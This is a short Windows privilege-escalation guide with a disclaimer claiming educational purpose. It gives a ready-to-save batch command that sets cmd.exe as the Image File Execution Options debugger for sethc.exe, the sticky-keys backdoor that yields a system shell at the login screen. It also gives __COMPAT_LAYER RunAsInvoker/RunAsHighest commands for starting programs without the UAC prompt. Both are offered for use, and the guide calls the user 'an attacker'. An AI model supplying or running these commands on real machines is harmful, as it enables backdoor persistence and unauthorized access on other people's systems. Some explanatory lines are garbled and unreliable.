PRIVILEDGE ESCLATION USING (IMAGE FILE EXECUTION OPTION)

DISCLAIMER

This document does not promote or encourage any Illegal activities, all content provided in this document is meant for education, research purposes. The document is not transformative in nature, it is used for teaching purpose.

Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, commenting, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use.

The document is created with the intention of educating others in a motivational/inspirational form. Do not try to use the scripts/code/methods if it is not legal in your country.

I Do not take any responsibility for anything you do using this document, Use at your own risk.

PRIVILEDGE ESCLATION USING IMAGE FILE EXECUTION OPTION GUIDELINES

IMAGE FILE EXECUTION OPTIONS INJECTION

Image file execution options allows a user to attach a debugger to an application when a process is created, a debugger present in an application's IEFO will be appeared to the application's name.

Here we will be using IFEO through registry editing, IFEO can also enable an arbitrary monitor program to be launched when a specified program silently exits. Silent exit monitoring can be enabled through Gflags and can be modified through registry value i.e.

Open Notepad:

Type the following syntax

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe“
```

Save the file as anyname.bat (by selecting Save as type to ALL FILES)

REQUIRED PLATFORM: WINDOWS

PERMISSION REQUIRED: ADMINISTRATOR

SBL.bat

PRIVILEDGE ESCLATION USING RUNASINVOKER GUIDELINES

RUN AS INVOKER VARIABLE

Run as Invoker is ***a system environment variable*** which allows an attacker to prevent UAC (User Account Control) Prompt window. It executes the application directly, this script can execute standalone application. Those application which requires pre-requisite drivers, services, application then this method will not be helpful in this case.
Open Notepad:

Type the following syntax

```
set __COMPAT_LAYER=RunAsInvoker
start ApplicationName.exe
```

Note: Before COMPAT it double underscore _ _ and after COMPAT its single underscore _. Another important understanding of the above script is it should be placed on the same folder where Application.exe exists.

Another Command:

```
set __COMPAT_LAYER=RunAsHighest
start ApplicationName.exe
```

REQUIRED PLATFORM: WINDOWS

Run as Invoker.cmd

PERMISSION REQUIRED: USER LEVEL

THANK YOU